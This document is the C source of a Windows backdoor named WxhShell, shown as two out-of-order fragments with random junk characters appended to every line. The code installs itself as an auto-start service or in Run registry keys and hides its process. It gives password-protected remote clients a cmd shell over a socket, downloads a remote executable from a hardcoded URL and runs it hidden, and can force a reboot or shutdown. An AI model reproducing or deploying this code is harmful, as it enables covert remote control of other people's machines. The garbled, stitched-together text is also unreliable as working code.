  case 'd': { -DA;KWYS  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); HW^{;'kH~  
    if(Boot(SHUTDOWN)) (2n3exx  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); x/pC%25  
    else { gX/|aG$a!U  
    closesocket(wsh); [''=><  
    ExitThread(0); Mf!owpW T  
    } ,^Ex}Z  
    break; ))c*_n  
    } :Xb*m85y  
  // 获取shell :/ ~):tM  
  case 's': { v\J!yz  
    CmdShell(wsh); =#7s+d-  
    closesocket(wsh); R65;oJh  
    ExitThread(0); h<t<]i'  
    break; T@2f&Un^  
  } D 86 K$IT  
  // 退出 ~Ay  
  case 'x': { F I80vV7  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 4KN0i  
    CloseIt(wsh); A;K{&x  
    break; ':5U&  
    } tW'qO:y+  
  // 离开 [I#Q  
  case 'q': { b=6ZdN1  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); f J,8g/f8  
    closesocket(wsh); 8f5%xY$  
    WSACleanup(); 5;r({ J  
    exit(1); A{xSbbDk  
    break; y}s 0J K  
        } 4yJ01s  
  } :==UDVP  
  } qg/Y;tGSx  
JI28}Cxs0  
  // 提示信息 {'cs![U  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); FZ;Y vdX6  
} uOy\{5s8  
  } EfMG(oI  
H{p[Ghp  
  return; +z{x 7  
}  ."$=  
BN bb&]  
// shell模块句柄 UFSEobhg&5  
int CmdShell(SOCKET sock) O :5ldI  
{ 3?-V>-[G_  
STARTUPINFO si; LWp?U!N  
ZeroMemory(&si,sizeof(si)); LGdf_M-f  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 0~LnnD N  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; &q kl*#]  
PROCESS_INFORMATION ProcessInfo; bYRQI=gW':  
char cmdline[]="cmd"; FuRn%)DA5  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); >rQ)|W=i  
  return 0; [C*X k{e  
} G>?x-!9qcH  
 F<XD^sO  
// 自身启动模式 0hEF$d6U  
int StartFromService(void) -M(58/y  
{ y"{UN M|R  
typedef struct ~XN]?5GQf  
{ GcU(:V2o  
  DWORD ExitStatus; zXA= se0U  
  DWORD PebBaseAddress; -0[>}!l=G  
  DWORD AffinityMask; n~L'icD[  
  DWORD BasePriority; [xH2n\7  
  ULONG UniqueProcessId; IWSEssP  
  ULONG InheritedFromUniqueProcessId; av$\@4I  
}   PROCESS_BASIC_INFORMATION; 2g`uC}  
 @=^jpSnZ  
PROCNTQSIP NtQueryInformationProcess; vCrWA-q#  
vM$#m1L?  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; LQuYCfj|  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; o>!~*b';g,  
9 ;! uV>-H  
  HANDLE             hProcess; ** "s~  
  PROCESS_BASIC_INFORMATION pbi; W"DxIy  
JN9HT0  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); lVO(9sl*i  
  if(NULL == hInst ) return 0; G+%5V5GS  
J0{WqA.P  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); G/^5P5y%@  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 'SXpb?CZ  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); "1\RdTw  
/-cX(z 7  
  if (!NtQueryInformationProcess) return 0; A*?/F:E  
u+"hr"}${  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 8wNU2yH+D  
  if(!hProcess) return 0; bC>yIjCTn  
~S~x@&yR  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ESXU, qK]v  
ui:>eYv  
  CloseHandle(hProcess); }tg:DG  
Ix l"'Q_z  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ~vvQz"  
if(hProcess==NULL) return 0; y0Q/B|&[  
xHR+((  
HMODULE hMod; $T@xnZ  
char procName[255]; :+X2>Lu$FA  
unsigned long cbNeeded; 'FvhzGn9Q  
1]zyME  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); %d~9at6-B  
gEe W1:AB  
  CloseHandle(hProcess); A+Pm "|  
:7AauoI  
if(strstr(procName,"services")) return 1; // 以服务启动 mqfEs0~I  
](( >i%%~  
  return 0; // 注册表启动 "#"Fp&Z7  
} Ag hj)V  
QI^8b\36  
// 主模块 <]SS gQ9/"  
int StartWxhshell(LPSTR lpCmdLine) 8aIq#v  
{ jL[Is2<@  
  SOCKET wsl; ;Bc<u[G  
BOOL val=TRUE; 9 h{:!  
  int port=0; "$wPq@  
  struct sockaddr_in door; u{dN>}{  
R,b O{2O  
  if(wscfg.ws_autoins) Install(); pOe`*2[  
Eo3Aak o  
port=atoi(lpCmdLine); D -\'P31  
A0 w `o  
if(port<=0) port=wscfg.ws_port; (2a "W`  
bm]dz;ljh  
  WSADATA data; qCFXaj   
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; "Z1&z-   
>ehWjL`8  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   }sN9QgE  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); fgz'C?  
  door.sin_family = AF_INET; uvc{RP  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); %l$&_xV-  
  door.sin_port = htons(port); (YWc%f4  
-X[8soz  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 2wim P8  
closesocket(wsl); kl<B*:RqH  
return 1; R S_lQ{'  
} I4DlEX  
7)5$1  
  if(listen(wsl,2) == INVALID_SOCKET) { }R] }@i~i  
closesocket(wsl); JV*,!5  
return 1; EG:WE^4  
} hF%~iqd  
  Wxhshell(wsl);  B*~Bm.  
  WSACleanup(); QcVtv7+*v  
UK9MWC5g9  
return 0; o[+|n[aT)3  
V5^b6$R@  
} :FgRe,D  
,0u0 '  
// 以NT服务方式启动 R~?;KJ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) vrEaNT$J-  
{ oL/^[TXjH  
DWORD   status = 0; XjM)/-w  
  DWORD   specificError = 0xfffffff; X;a{JjN  
rH_:7#.E  
  serviceStatus.dwServiceType     = SERVICE_WIN32; uEO2,1+  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 2n r UE  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; H_r'q9@<>  
  serviceStatus.dwWin32ExitCode     = 0; h[)aRo  
  serviceStatus.dwServiceSpecificExitCode = 0; 4 ~|TKd{  
  serviceStatus.dwCheckPoint       = 0; .6A:t? .  
  serviceStatus.dwWaitHint       = 0; Pj5#G0i%  
a/`Yh>ou  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Pw0KQUs  
  if (hServiceStatusHandle==0) return; hb\Y)HSp/  
(dprY1noC  
status = GetLastError(); ^XB8A=xi  
  if (status!=NO_ERROR) Zkep7L   
{ :[rKSA]@  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; #$^i x  
    serviceStatus.dwCheckPoint       = 0; @ tp7tB ;  
    serviceStatus.dwWaitHint       = 0; 8`?j*FV7kq  
    serviceStatus.dwWin32ExitCode     = status; &1C9K>  
    serviceStatus.dwServiceSpecificExitCode = specificError; 7CN[Z9Y^}  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ZUI\0qh+  
    return; Y>m=cqR  
  } 0mi[|~x=  
lTd2~_  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; '{*>hj5.8  
  serviceStatus.dwCheckPoint       = 0; P T.jR*  
  serviceStatus.dwWaitHint       = 0; -"tgEC\tD  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); PKs%-Uk  
} e{+{,g{iu  
@BW8`Ky1  
// 处理NT服务事件,比如:启动、停止 =}KbE4D+8  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ~F6gF7]z  
{ 4gNRln-  
switch(fdwControl) tLXw&hFk`g  
{ 4'=N{.TtO  
case SERVICE_CONTROL_STOP: \uPTk)oaB  
  serviceStatus.dwWin32ExitCode = 0; `*!>79_2C  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; EQhV}9  
  serviceStatus.dwCheckPoint   = 0; #C7j|9Ew1]  
  serviceStatus.dwWaitHint     = 0; CXFAb1m  
  { oVsazYJ|?  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,(=]6V  
  } ;i?!qB>baX  
  return; D8{HOv;d^  
case SERVICE_CONTROL_PAUSE: meD (ja  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; m =F@CA~C  
  break; =eLb"7C#0  
case SERVICE_CONTROL_CONTINUE: OYy !4Fp  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 'U0I.x(  
  break; 3 pH` ]m2  
case SERVICE_CONTROL_INTERROGATE: A:J{  
  break; Xkm2C)  
}; -d)n0)9  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); !QspmCo+  
} A+DYIS  
X&8,.=kt"  
// 标准应用程序主函数 yE9.]j  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) sB/s17ar  
{ X1dG'PQ  
GP'Y!cl  
// 获取操作系统版本 S:\hcW6  
OsIsNt=GetOsVer(); Y\|J1I,Z4  
GetModuleFileName(NULL,ExeFile,MAX_PATH); l!` 0I] }  
* XGBym  
  // 从命令行安装 @&B!P3{f  
  if(strpbrk(lpCmdLine,"iI")) Install(); ~l6Y<-!  
9v2 ;  
  // 下载执行文件 [![ (h %  
if(wscfg.ws_downexe) { A\.*+k/B  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) wO%:WL$5  
  WinExec(wscfg.ws_filenam,SW_HIDE); _If?&KJ r  
} Vatt9  
R!qrb26k  
if(!OsIsNt) { (W!$6+GT  
// 如果时win9x,隐藏进程并且设置为注册表启动 [0#hgGO]P  
HideProc(); BAHx7x#(  
StartWxhshell(lpCmdLine); KHN ,SB  
} *b_54X%3  
else jy2nn:1#^  
  if(StartFromService()) .x8$PXjPG  
  // 以服务方式启动 [ 1GEe  
  StartServiceCtrlDispatcher(DispatchTable); :n9^:srGZH  
else ;P~S/j[ 8  
  // 普通方式启动 Q>yt O'v1  
  StartWxhshell(lpCmdLine); .Tv(1HAc2l  
$ '*BS  
return 0; r ngw6?`n-  
} V5 r7eC  
6Qu*'  
`p|vutk)U  
>#|Yoc  
=========================================== vDvGT<d  
w\*/(E<:  
FJ"9Hs2  
hspg-|R  
KLW+&.re8  
eMzCAO  
" -5.%{Go$[  
v2sU$M  
#include <stdio.h> a6P.Zf7  
#include <string.h> 7`!( 8  
#include <windows.h> qKC*j DW  
#include <winsock2.h> NkI:  
#include <winsvc.h> ,[ L$  
#include <urlmon.h> 1}*;  
jRAL(r|  
#pragma comment (lib, "Ws2_32.lib") p> S/6 [X  
#pragma comment (lib, "urlmon.lib") "|SE#k  
5 ZPUY  
#define MAX_USER   100 // 最大客户端连接数 FG:BRS<m~  
#define BUF_SOCK   200 // sock buffer ppKCY4  
#define KEY_BUFF   255 // 输入 buffer 1+($"$ZC&B  
"cM5=;  
#define REBOOT     0   // 重启 ^mQfXfuL  
#define SHUTDOWN   1   // 关机 y@_?3m7B=  
It-*CD9  
#define DEF_PORT   5000 // 监听端口 q2vz#\A?  
He3zV\X[Z  
#define REG_LEN     16   // 注册表键长度 A!yLwkc:5  
#define SVC_LEN     80   // NT服务名长度 ze)K-6SKH  
{fD#=  
// 从dll定义API 7gcG|kKT  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ze N!*VG  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); O]eJQ4XN<  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Mk?I}  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); mM>|fHGA  
4V8wB}y7e  
// wxhshell配置信息 pr(\?\a  
struct WSCFG { _xt(II   
  int ws_port;         // 监听端口 ku8c)  
  char ws_passstr[REG_LEN]; // 口令 ':4pH#E  
  int ws_autoins;       // 安装标记, 1=yes 0=no ypo=y/!  
  char ws_regname[REG_LEN]; // 注册表键名 *`T &Dlt'8  
  char ws_svcname[REG_LEN]; // 服务名 H_nJST<v`  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 7+4"+CA  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 8ZfIh   
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 7:'>~>'  
int ws_downexe;       // 下载执行标记, 1=yes 0=no c F]3gM  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" =lQ[%&  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 5AU3s  
bz]O(`  
}; oW6<7>1M7  
$t'I*k^N  
// default Wxhshell configuration |Eu~= J7@  
struct WSCFG wscfg={DEF_PORT, [zEP|  
    "xuhuanlingzhe", . *xq =  
    1, ;jI"|v{vnS  
    "Wxhshell", "\?G  
    "Wxhshell", y:[]+  
            "WxhShell Service", %Oqe7Cx>+  
    "Wrsky Windows CmdShell Service", k|'Mh0G0  
    "Please Input Your Password: ", \;gt&*$-  
  1, pUGfm  
  "http://www.wrsky.com/wxhshell.exe", P@`"MNS  
  "Wxhshell.exe" 1G.gPx[  
    }; ][#*h`I  
1:UC\WW  
// 消息定义模块 JZxF)] ^  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; d2yHfl]3  
char *msg_ws_prompt="\n\r? for help\n\r#>"; LfXr(2u  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; N\p]+[6  
char *msg_ws_ext="\n\rExit."; N o\&~  
char *msg_ws_end="\n\rQuit."; j88sE MZ  
char *msg_ws_boot="\n\rReboot..."; @rE )xco  
char *msg_ws_poff="\n\rShutdown..."; w{EU9C  
char *msg_ws_down="\n\rSave to "; B?Sfcq-  
1R9? [RE  
char *msg_ws_err="\n\rErr!"; F@roQQu  
char *msg_ws_ok="\n\rOK!"; Nj&%xe>].  
^|(4j_.(e  
char ExeFile[MAX_PATH]; 6 <S&~q  
int nUser = 0; KXCmCn  
HANDLE handles[MAX_USER]; Q9tE^d+%  
int OsIsNt; qFbUM;  
)0MshgM  
SERVICE_STATUS       serviceStatus; })vr*[  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; E?U]w0g  
u(WQWsN  
// 函数声明 >ImM~SR)  
int Install(void); 1t=X: ]0j  
int Uninstall(void); dU^<7 K:S  
int DownloadFile(char *sURL, SOCKET wsh); ATp  6-  
int Boot(int flag); 4 xzJql  
void HideProc(void); r ;8z"*  
int GetOsVer(void); N@a'd0oTd  
int Wxhshell(SOCKET wsl); |ZlT>u  
void TalkWithClient(void *cs); 166c\QO  
int CmdShell(SOCKET sock); ]pTw]SK  
int StartFromService(void); .ASwX   
int StartWxhshell(LPSTR lpCmdLine); '?3z6%  
ptni'W3  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); lA-!~SM v"  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ey\{C`(__y  
UZXcKl>u  
// 数据结构和表定义 EFt`<qwj  
SERVICE_TABLE_ENTRY DispatchTable[] = <`UG#6z8  
{ C_ZD<UPA\  
{wscfg.ws_svcname, NTServiceMain}, H-KwkH`L4  
{NULL, NULL} _D,f 4.R  
}; mX.3R+t  
 I4f  
// 自我安装 Mq lo:7 ^F  
int Install(void) @EOR] ^?!]  
{ M2P@ &  
  char svExeFile[MAX_PATH]; ]O=S2Q  
  HKEY key; -<JBKPtA  
  strcpy(svExeFile,ExeFile); [*{\R`M  
+xBK^5/x  
// 如果是win9x系统,修改注册表设为自启动 |QNLO#$ -  
if(!OsIsNt) { O| 6\g>ew  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 05VOUa*pb  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); &z X 3  
  RegCloseKey(key); ^~<Rzq!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { n!eqzr{  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [aZ v?Z  
  RegCloseKey(key); ka)LK@p6  
  return 0; eGe[sv"k  
    } 6 #x)W  
  } K[>@'P}y  
} UtBlP+bE?y  
else { i,Wm{+H-O  
3 s_k>cO=  
// 如果是NT以上系统,安装为系统服务 Q}?N4kg  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ENx@Ex  
if (schSCManager!=0) f,HzrHax  
{ io r [v  
  SC_HANDLE schService = CreateService ?}3PJVy?  
  ( j_'rhEdLP  
  schSCManager, @f5@0A\0  
  wscfg.ws_svcname, :&0yf;>v  
  wscfg.ws_svcdisp, t-7[Mk9@  
  SERVICE_ALL_ACCESS, eMl]td rI  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ^c0$pqZ}r  
  SERVICE_AUTO_START, L+~YCat|$U  
  SERVICE_ERROR_NORMAL, cv*Q]F1%  
  svExeFile, jFNs=D&(  
  NULL, Q^MXiE O+  
  NULL, "^ 6lvZP(  
  NULL, *iRm`)zC(  
  NULL, Ce5w0&VlS  
  NULL hi3sOK*r;<  
  ); O? Gl4_y  
  if (schService!=0) <[y$D=n  
  { $]H=  
  CloseServiceHandle(schService); &Ky u@Tt  
  CloseServiceHandle(schSCManager); k Kp6  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); bxhg*A  
  strcat(svExeFile,wscfg.ws_svcname); 2^ ,H_PS  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 2}Z4a\YX  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ',H$zA?i  
  RegCloseKey(key); 42J';\)oP  
  return 0; 1ntkM?  
    } !V]MLA`  
  } *bxJ)9B  
  CloseServiceHandle(schSCManager); }6CXJ+-UR  
} N;x<| %peL  
} i2FD1*=/?  
q1TW?\pjb:  
return 1; P"bknXL  
} m/<F 5R  
txml*/zL  
// 自我卸载 x>^3]m  
int Uninstall(void) &vFqe,Z  
{ uh5Pn#da^  
  HKEY key; K(Q]&&<  
<K,% y(]  
if(!OsIsNt) { O@r.>  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ckf<N9  
  RegDeleteValue(key,wscfg.ws_regname); =CKuiO.j  
  RegCloseKey(key); 5i4V5N>3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 77xq/c[)  
  RegDeleteValue(key,wscfg.ws_regname); i[2bmd!H  
  RegCloseKey(key); `*" H/QG  
  return 0; (zs4#ja2,  
  } p2Dh3)&  
} pM&]&Nk  
} t/d',Khg  
else { >d{dZD}  
Z&dr0w8  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); \o:ELa HY  
if (schSCManager!=0) g= FDm*  
{ 5?5- ;H  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); wc7mJxJxA  
  if (schService!=0) mvHh"NJ  
  { jD'  
  if(DeleteService(schService)!=0) { kqKj7L  
  CloseServiceHandle(schService); lh\ICN\O  
  CloseServiceHandle(schSCManager); G`]v_`>  
  return 0; af<NMgT2s~  
  } IpWy)B>Fl3  
  CloseServiceHandle(schService); j{{~ZM  
  } t['k%c  
  CloseServiceHandle(schSCManager); 'dIX=/RZ  
} ;-KA UgL2  
} >d8x<|D  
b^[W_y  
return 1; G$;] ?g  
} ?$|uT  
 <+AIt  
// 从指定url下载文件 N5 SLF4R1  
int DownloadFile(char *sURL, SOCKET wsh) >~I xyQp  
{ gppBFS  
  HRESULT hr; bp]^EVx  
char seps[]= "/"; t&GA6ML#s  
char *token; 9VoDhsKk  
char *file; YgE]d?_h  
char myURL[MAX_PATH]; M.ZEqV+k  
char myFILE[MAX_PATH]; jWH{;V&ZV  
f^W[; w  
strcpy(myURL,sURL); E?30J3S  
  token=strtok(myURL,seps); 1Pk mg%+  
  while(token!=NULL) iNod</+"K  
  { .FIt.XPzv  
    file=token; omM&{ }8g  
  token=strtok(NULL,seps); ~ X-)_zH  
  } p?+lAbe6H  
Sa3I?+  
GetCurrentDirectory(MAX_PATH,myFILE); u0m5JD0/  
strcat(myFILE, "\\"); $%7I:  
strcat(myFILE, file); 8tb6 gZz  
  send(wsh,myFILE,strlen(myFILE),0); yicO!:bM  
send(wsh,"...",3,0); :s'o~   
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); -O|&c9W.O  
  if(hr==S_OK) -DTB6}kw  
return 0; /> ^@ O  
else k? 3S  
return 1; ;i<$7MR.e  
ic%?uWN  
} .6>  hD1'  
i 8l./Yt/  
// 系统电源模块 XB0a dp  
int Boot(int flag) &|v{#,ymeb  
{ h ?uqLsRl  
  HANDLE hToken; 06 QU  
  TOKEN_PRIVILEGES tkp; 5Z/yhF.{  
5]jx5!N  
  if(OsIsNt) { M]}l^ m>L  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 2Y400  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); >(hSW~i~  
    tkp.PrivilegeCount = 1; N>+P WE$  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; S8 :"<B)  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Q*]$)D3n  
if(flag==REBOOT) { Lj}>Xy(7<  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ,zQo {.  
  return 0; *yJ[zXXjJ  
} $:Rn;  
else { P Q7A~dw9  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Y4d3n  
  return 0; XMGx ^mn  
} /QQ8.8=5  
  } LH4>@YPGE#  
  else { Ng\/)^  
if(flag==REBOOT) { C)NC&fV  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) lWW+5  
  return 0; CJJD@=  
} wMGk!N  
else { O7%2v@j|8  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) >*IN  
  return 0; rah,dVE]  
} }.p<wCPy6  
} + :Vrip  
/D<"wF }@J  
return 1; _5mc('  
} f\fdg].!  
|'tW=  
// win9x进程隐藏模块 @5WgqB  
void HideProc(void) r!7Y'|  
{ 3{KR {B#L  
] /+D^6  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); %?bcT[|3  
  if ( hKernel != NULL ) u_PuqRcs  
  { 0n.S,3|  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); P.djd$#  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); QdQ d(4/1  
    FreeLibrary(hKernel); f;gZ|a  
  } 'Gjq/L/x  
&rp!%]+xAM  
return; 1"}cdq.  
} {Hl[C]25X  
UfO7+_2  
// 获取操作系统版本 #O~XVuvF0  
int GetOsVer(void) i(*I@ku  
{ M`vyTuO3SO  
  OSVERSIONINFO winfo; ZQ3_y $  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); XF|WCZUnY%  
  GetVersionEx(&winfo); @b2`R3}9R  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) RW_q~bA9  
  return 1; . w H*sb  
  else vfcb:x  
  return 0; 'xnnLCm.  
} =p@8z /u  
QK; T~ _k  
// 客户端句柄模块 e'2Y1h  
int Wxhshell(SOCKET wsl) Ri#H.T<'  
{ :m'+tGs  
  SOCKET wsh; -kpswP  
  struct sockaddr_in client; wvMW|  
  DWORD myID; Q6 ?z_0  
`TtXZ[gP}  
  while(nUser<MAX_USER) <?h%k"5  
{ w~Ff%p@9  
  int nSize=sizeof(client); K>2#UzW  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); rR,2UZR  
  if(wsh==INVALID_SOCKET) return 1; eKN$jlg  
T[?6[,.  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ,RxYd6  
if(handles[nUser]==0) ^j)BKD-  
  closesocket(wsh); tNIlzR-  
else )US:.7A[.  
  nUser++; pV(lhDNoQ  
  } Nt:9MG>1  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); wmU0E/{9]  
!@A#=(4R4  
  return 0; p?X02 >yA  
} a l&(-#1  
 {@Y  
// 关闭 socket CHJ> {b`O  
void CloseIt(SOCKET wsh) ?!VIS>C(  
{ v$wBxCY  
closesocket(wsh); q<#>HjC  
nUser--; vuQ%dDxI  
ExitThread(0); -e u]:4  
} \5)htL1F  
:_kAl? eJ  
// 客户端请求句柄 J;$N{"M  
void TalkWithClient(void *cs) wsU V;S*X%  
{ [5$w=u"j  
S8, Z;y  
  SOCKET wsh=(SOCKET)cs; sJ z@7.  
  char pwd[SVC_LEN]; wJ<Oo@snm  
  char cmd[KEY_BUFF]; 5S{7En~zUE  
char chr[1]; X"fh@.  
int i,j; [&?8,Q(  
w$Ot{i|$(  
  while (nUser < MAX_USER) { ,)!u)wz  
(Y% Q|u  
if(wscfg.ws_passstr) { qT:zEt5  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \C^;k%{LV  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 7OCwG~_^  
  //ZeroMemory(pwd,KEY_BUFF); U-k VNBs  
      i=0; K+=+?~  
  while(i<SVC_LEN) { X>YsQrK(ig  
6$fYt&1  
  // 设置超时 mo{MR:>)  
  fd_set FdRead; WKz> !E%  
  struct timeval TimeOut; aVL=K  
  FD_ZERO(&FdRead); !2UOC P  
  FD_SET(wsh,&FdRead); xM[Vc  
  TimeOut.tv_sec=8; vIl+#9L0  
  TimeOut.tv_usec=0; 1?*  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); SUKxkc(  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); :'F}Dy  
me6OPc;:!  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ps .]N   
  pwd=chr[0];  Uo12gIX  
  if(chr[0]==0xd || chr[0]==0xa) { r0d35  
  pwd=0; `LAR@a5i  
  break; ZQ^r`W9_ +  
  } 2&c9q5.b  
  i++; ,lA.C%4au~  
    } n+lOb  
")O`mXg-  
  // 如果是非法用户,关闭 socket A1P K  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); N>(g?A; Z+  
} b^D$jY  
bl_H4  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); D`J6h,=2l/  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?Kvl!F!`  
oAWzYu(v  
while(1) { OO?]qZa1  
E0%~! b  
  ZeroMemory(cmd,KEY_BUFF); .q&'&~!_  
l]~n3IK"  
      // 自动支持客户端 telnet标准   Mu'8;9_6  
  j=0; iyj+:t/  
  while(j<KEY_BUFF) { bAKiq}xG%i  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); AU-n&uX  
  cmd[j]=chr[0]; "qc6=:y}  
  if(chr[0]==0xa || chr[0]==0xd) { .9md~j:o^s  
  cmd[j]=0; yQ#:J9HMJ  
  break; ={LMdC~5X  
  } moP,B~  
  j++; pv^O"Bs  
    } /Uo y/}!  
=K{\p`?  
  // 下载文件 cUTE$/#s  
  if(strstr(cmd,"http://")) { %QKZT=}  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); #2r}?hP/m  
  if(DownloadFile(cmd,wsh)) h?bb/T+'  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); p-1 3H0Kt  
  else /mp*>sNr6  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8,0YD#x  
  } ~T) Q$  
  else { [<'-yQ{l\  
Us+pc^A  
    switch(cmd[0]) { J'N!Omz  
